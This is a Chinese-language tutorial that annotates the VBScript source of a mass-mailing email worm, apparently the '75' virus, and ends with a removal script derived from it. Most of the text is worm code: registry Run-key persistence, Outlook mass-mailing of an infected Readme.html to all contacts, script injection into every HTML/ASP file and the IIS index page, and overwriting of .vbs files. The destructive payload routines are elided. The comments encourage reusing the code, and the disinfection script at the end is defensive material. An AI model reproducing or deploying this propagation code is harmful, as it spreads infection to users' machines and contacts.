這個病毒的主要攻擊方法是：通過網絡及郵件進行傳播，並且不斷地向目標郵件服
務器發送大量郵件，並且在傳染過程中檢測網絡主機的名稱中是否有目標字符，如
果有則進行破壞攻擊。
下面將結合具體的程序逐步進行介紹,由於篇幅關系，對壹些語句進行了縮減。
'@ thank you! make use of other person to get rid of an enemy, white trap _2001
''開場白,第壹個字符“@”是這個病毒傳染時的標記
on error resume next ''這壹句很重要，主要是在程序執行時如果發生錯誤就接著
''執行下壹條語句，防止談出出錯對話框，否則就不能偷偷
''的幹壞事啦。這裏有壹個技巧，就是在程序編制調試階段，
''最好不要這壹條語句，因為它會忽略錯誤，使妳的調試工
''作不易完成。
dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str
dim defpath, smailc, MAX_SIZE, whb(), title(10) ''聲明各個變量
smailc = 4
Redim whb(smailc)
whb(0) = "pr@witehous.gov"
...
whb(3) = "ms@witehous.gov"
''以上這四個郵件地址就是被攻擊的目標，當然已經進行了修改，不是真實地址
title(0) = "Thanks for helping me!"
...
title(8) = "the sitting is open!"
title(9) = ""
''以上這十條字符串是病毒執行時隨機顯示在IE標題欄裏的信息。如果妳的IE標題欄
''顯示了其中的某條信息，呵呵，壹定要接著往下看
defpath = "C:\Readme.html" ''將隨郵件壹起發送的病毒體
MAX_SIZE = 100000
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
''定義兩個註冊表的鍵值變量
main ''執行主函數
''下面就是程序中所需的各個函數的定義部分，整個VBS程序將由windows目錄中的
''WScript.exe文件解釋執行,如果將這個文件改名或刪除,當然VBS程序也就不能執行
''了，如此便阻止了病毒的執行。在用殺毒軟件殺毒時，往往病毒傳播的速度要比殺
''毒的速度快，如果出現這種情況，應該先將WScript.exe文件改名，阻止病毒傳播，
''等殺完毒後，再改回來，不致影響其他正常的VBS程序的執行。
sub main()
on error resume next
dim w_s
w_s= WScript.ScriptFullName ''得到此文件名稱
if w_s = "" then
Err.Clear
set fso = CreateObject("Scripting.FileSystemObject")
''隨著VB編程語言的完善，微軟也推出了壹種全新的文件操作方法：文件系
''統對象（FileSystemObject）。這個對象，及壹些相關對象，封裝了所有
''的文件操作。這個病毒程序基本展示了所有的這些操作，因此，如果您要
''利用VBS進行文件操作編程，將這個病毒源碼作為參考文檔，肯定不錯。
if getErr then
Randomize
ra = int(rnd() * 7)
doucment.write title(ra)
ExecuteMail ''打開有毒的頁面
else
ExecutePage ''賦值成功，進行傳染，攻擊
end if
else
ExecuteVbs ''從病毒體文件“system.dll”提取病毒
end if
end sub
Function getErr()
''本函數主要是檢測前壹條語句是否成功返回了Scripting.FileSystemObject對象，
''內容略
end function
sub ExecutePage()
dim Html_Str,adi,vf,wdf, wdf2,wdf3,wdsf, wdsf2
Vbs_Str = GetScriptCode("vbscript") ''獲得此程序的VBScript code
Js_Str = GetJavaScript()
Code_Str = MakeScript(encrypt(Vbs_str),true) ''進行加密處理
Html_Str = MakeHtml(encrypt(Vbs_str), true)
Gf
wdsf = w2 & "Mdm.vbs"
wdsf2 = w1 & "Profile.vbs"
wdf = w2 & "user.dll"
wdf2 = w2 & "Readme.html"
wdf3 = w2 & "system.dll"
set vf = fso.OpenTextFile (wdf, 2, true)
vf.write Vbs_Str
vf.close
''僅用以上三條語句便完成了病毒體文件 "user.dll"的制作，其中對象函數
''OpenTextFile (wdf, 2, true)的三個參數分別是：
''①文件名，②讀=1或寫=2，③文件不存在時是否創建；
''當前，FileSystemObject對於文本文件的操作有較強的優勢，對binary文件
''的操作還有待加強。下面依次生成其他的文件，內容略
Writereg MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""
Writereg MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""
''將Mdm.vbs,Profile.vbs兩個腳本文件加入到啟動組當中，隨Win啟動自動執行
SendMail
Hackpage
if TestUser then
Killhe
else
mk75
end if
set adi = fso.Drives ''所有驅動器對象
for each x in adi ''遍歷所有的驅動器
if x.DrivesType = 2 or x.DrivesType = 3 then
call SearchHTML(x & "\")
end if
next
if fso.FileExists(defpath) then fso.DeleteFile defpath
''如果存在"C:\Readme.html" ，就刪除它
end sub
sub ExecuteMail()
''此函數制作病毒文件"C:\Readme.html" ，並打開它，
''由這壹段程序，可以看出VBS的簡潔高效
on error resume next
Vbs_Str = GetScriptCode("vbscript")
Js_Str = GetJavaScript()
Set Stl = CreateObject("Scriptlet.TypeLib")
with Stl
.Reset
.Path = defpath
.Doc = MakeHtml(encrypt(Vbs_str), true)
.Write()
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no"
end sub
sub ExecuteVbs()
on error resume next
dim x, adi, wvbs, ws, vf
set fso = CreateObject("Scripting.FileSystemObject")
set wvbs = CreateObject("WScript.Shell")
Gf
wvbs.RegWrite MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"
set vf = fso.OpenTextFile (w2 & "system.dll", 1)
Code_Str = vf.ReadAll()
vf.close
Hackpage
SendMail
if TestUser then
Killhe
else
mk75
end if
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then
call SearchHTML(x & "\")
end if
next
end sub
sub Gf()
w1=fso.GetSpecialFolder(0) & "\" ''獲得Windows的路徑名，
w2=fso.GetSpecialFolder(1) & "\" ''獲得系統文件夾路徑名
end sub
function Readreg(key_str)
set tmps = CreateObject("WScript.Shell")
Readreg = tmps.RegRead(key_str)
set tmps = Nothing
end function
function Writereg(key_str, Newvalue, vtype)
''對註冊表進行寫入操作，讀操作類似，可以由此看到vbs的註冊表操作非常簡單明了。
set tmps = CreateObject("WScript.Shell")
if vtype="" then
tmps.RegWrite key_str, Newvalue
else
tmps.RegWrite key_str, Newvalue, vtype
end if
set tmps = Nothing ''關閉不用的資源，算是病毒的良好行為
end function
function MakeHtml(Sbuffer, iHTML)
''制作html文件的內容
dim ra
Randomize
ra = int(rnd() * 7)
MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & "</" & "TITLE><" & "/HEAD>" & _
"<BO" & "AD>" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _
"<" & "/BOAD><" & "/HTML>"
end Function
function MakeScript(Codestr, iHTML)
''制作病毒的可執行script code
if iHTML then
dim DocuWrite
DocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>\n'+" & _
"jword" & "+'\n</'" & "+'SCRIPT>');"
DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>\n'+" & _
"nword" & "+'\n</'" & "+'SCRIPT>');"
MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _
chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _
chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & "</" & "SCRIPT>"
else
MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & "</" & "SCRIPT>"
end if
end function
function GetScriptCode(Languages)
''此函數獲得運行時的Script code，
''內容略
end function
function GetJavaScript()
GetJavaScript = GetScriptCode("javascript")
end function
function TestUser()
''此函數通過鍵值檢測網絡主機是否是攻擊目標
''內容略
end function
function mk75()
''檢測日期是否符合，如果符合，發控制臺命令，使系統癱瘓
end function
function SendMail()
''利用outlook發送攜帶病毒體的郵件，Microsoft Outlook是可編程桌面信息管理程序，
''outlook可以作為壹個自動化服務器(Automation servers)，因此很容易實現自動發送
''郵件，從這裏也可以看出，先進的東西難免會被反面利用，如果妳也想用程序控制發送
''郵件，可以仔細研究下面的代碼，
on error resume next
dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at
Randomize
at=fso.GetSpecialFolder(1) & "\Readme.html" ''要發送的附件文件
set Oa = CreateObject("Outlook.Application") ''制作outlook對象
set wab = Oa.GetNameSpace("MAPI") ''取得Outlook MAPI名字空間
for j = 1 to wab.AddressLists.Count ''遍歷所有聯系人
eins = wab.AddressLists(j)
wreg=Readreg (HCUW & eins)
if (wreg="") then wreg = 1
Eaec = eins.AddressEntries.Count ''地址表的Email記錄數
if (Eaec > Int(wreg)) then
for x = 1 to Eaec
arrsm = wab.AddressEntries(x)
areg = Readreg(HCUW & arrsm)
''讀註冊表中的標記，避免重復發送
if (areg = "") then
set fm = wab.CreateItem(0) ''創建新郵件
with fm
ra = int(rnd() * 7)
.Recipients.Add arrsm ''收件人
.Subject = title(ra) ''郵件的標題
.Body = title(ra) ''郵件的正文內容
.Attachments at ''病毒文件作為附件
.Send ''發送郵件
Writereg HCUW & arrsm, 1, "REG_DWORD"
end with
end if
next
end if
Writereg HCUW & eins, Eaec, ""
next
set Oa = Nothing
window.setTimeout "SendMail()", 10000 ''每100秒發送壹次
end function
sub SearchHTML(Path)
''這個函數遞歸搜索所有需感染的文件，如果妳想批量處理文件，這是非常典型
''的樣例代碼
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(Path, fso.GetSpecialFolder(2)) > 0 then exit sub
''fso.GetSpecialFolder(2)獲得臨時文件夾路徑名，
''fso.GetSpecialFolder(0)獲得Windows的路徑名，
''fso.GetSpecialFolder(1)獲得系統文件夾路徑名
set pfo = fso.GetFolder(Path)
set psfo = pfo.SubFolders
for each ps in psfo
SearchHTML(ps.Path)
set pf = ps.Files
for each pfi in pf
ext = LCase(fso.GetExtensionName(pfi.Path))
if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then
if Code_Str<>"" then AddHead pfi.Path, pfi, 1
elseif ext= "vbs" then
AddHead pfi.Path,pfi, 2
end if
next
next
end sub
sub Killhe()
''看函數名就知道硬盤又要倒黴啦
end sub
sub Hackpage()
dim fi
H = "C:\InetPut\wwwroot"
if fso.FolderExists(H) then
set fi = fso.GetFile(H & "\index.htm")
AddHead H & "\index.htm",fi,1
end if
end sub
sub AddHead(Path, f, t)
''這個函數負責感染文件，之所以不進行省略，因為在後面編制殺毒程序時要用到這壹段。
on error resume next
dim tso, buffer,sr
if f.size > MAX_SIZE then exit sub
set tso = fso.OpenTextFile(Path, 1, true)
buffer = tso.ReadAll()
tso.close
if (t = 1) then
''如果是"htm"，"plg"， "asp" 文件，則在其中加入病毒代碼
if UCase(Left(LTrim(buffer), 7)) <> "<SCRIPT" then
set tso = fso.OpenTextFile(Path, 2, true)
tso.Write Code_Str & vbcrlf & buffer
tso.close
end if
else ''否則，用病毒體程序覆蓋掉原文件，這個有點損
if mid(buffer, 3, 2) <> "'@" then
tso.close
sr=w2 & "user.dll"
if fso.FileExists(sr) then fso.CopyFile sr, Path
end if
end if
end sub
''以上對病毒源碼進行了分析，是不是有所收獲，趕快打開紀事本，親自開發壹個vbs
''程序吧，“水能載舟，亦能覆舟”，就編壹個清除它的殺毒程序，算是本文的加強練習。
''
''感興趣的朋友可以看壹下筆者根據源程序改編的殺毒程序。
附：
''''''''kill75.vbs''''''''''''
'本程序由源病毒碼修改而成
Dim fso, w1, w2, MSWKEY, HCUW
Dim defpath
Dim bdNUM ''記錄殺除病毒文件的個數
Const MAX_SIZE = 100000
main
Sub main()
On Error Resume Next
bdNUM=0
defpath = "C:\Readme.html"
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
Err.Clear
Set fso = CreateObject("Scripting.FileSystemObject")
ExecuteKill
End Sub
Sub ExecuteKill()
On Error Resume Next
Dim adi, vf, wdf, wdf2, wdf3, wdsf, wdsf2
Gf
wdsf = w2 & "Mdm.vbs"
wdsf2 = w1 & "Profile.vbs"
wdf = w2 & "user.dll"
wdf2 = w2 & "Readme.html"
wdf3 = w2 & "system.dll"
If fso.FileExists(wdsf) Then fso.DeleteFile wdsf: bdNUM = bdNUM + 1
If fso.FileExists(wdsf2) Then fso.DeleteFile wdsf2: bdNUM = bdNUM + 1
If fso.FileExists(wdf) Then fso.DeleteFile wdf: bdNUM = bdNUM + 1
If fso.FileExists(wdf2) Then fso.DeleteFile wdf2: bdNUM = bdNUM + 1
If fso.FileExists(wdf3) Then fso.DeleteFile wdf3: bdNUM = bdNUM + 1
If fso.FileExists(w2 & "75.htm") Then fso.DeleteFile w2 & "75.htm": bdNUM = bdNUM + 1
If fso.FileExists(defpath) Then fso.DeleteFile defpath: bdNUM = bdNUM + 1
DeleteReg MSWKEY & "CurrentVersion\Run\Mdm"
DeleteReg MSWKEY & "CurrentVersion\RunServices\Profile"
DeleteReg MSWKEY & "CurrentVersion\Run\75"
Set adi = fso.Drives
For Each x In adi
If x.DrivesType = 2 Or x.DrivesType = 3 Then
Call SearchHTML(x & "\")
End If
Next
End Sub
Sub Gf()
w1 = fso.GetSpecialFolder(0) & "\"
w2 = fso.GetSpecialFolder(1) & "\"
End Sub
Function DeleteReg(key_str)
Set tmps = CreateObject("WScript.Shell")
tmps.RegDelete key_str
Set tmps = Nothing
End Function
Sub SearchHTML(Path)
On Error Resume Next
Dim pfo, psfo, pf, ps, pfi, ext
If InStr(Path, fso.GetSpecialFolder(2)) > 0 Then Exit Sub
Set pfo = fso.GetFolder(Path)
Set psfo = pfo.SubFolders
For Each ps In psfo
SearchHTML (ps.Path)
Set pf = ps.Files
For Each pfi In pf
FileLabel.Caption = pfi
DoEvents
ext = LCase(fso.GetExtensionName(pfi.Path))
If InStr(ext, "htm") > 0 Or ext = "plg" Or ext = "asp" Then
CutHead pfi.Path, pfi, 1
ElseIf ext = "vbs" Then
CutHead pfi.Path, pfi, 2
End If
Next
Next
End Sub
Sub CutHead(Path, f, t)
On Error Resume Next
Dim tso, buffer, sr, wz, fbuf
Set tso = fso.OpenTextFile(Path, 1, True)
buffer = tso.ReadAll()
tso.Close
If (t = 1) Then
If UCase(Left(LTrim(buffer), 7)) = "<SCRIPT" Then
If InStr(1, buffer, "jword") > 0 Then
wz = InStr(1, buffer, "</SCRIPT>")
If wz > 10000 Then
fbuf = Right(buffer, Len(buffer) - wz - 10)
Set tso = fso.OpenTextFile(Path, 2, True)
tso.Write fbuf
tso.Close
bdNUM = bdNUM + 1
DoEvents
End If
End If
End If
Else
If Mid(buffer, 3, 2) = "'@" Then
re = MsgBox("是否想刪除：" + Path + ",它可能已經變成了75病毒", vbYesNo)
If (re = vbYes) Then
tso.Delete
bdNUM = bdNUM + 1
DoEvents
End If
End If
End If
End Sub
Function getErr()
If Err.Number <> 0 Then
getErr = True
Err.Clear
Else
getErr = False
End If
End Function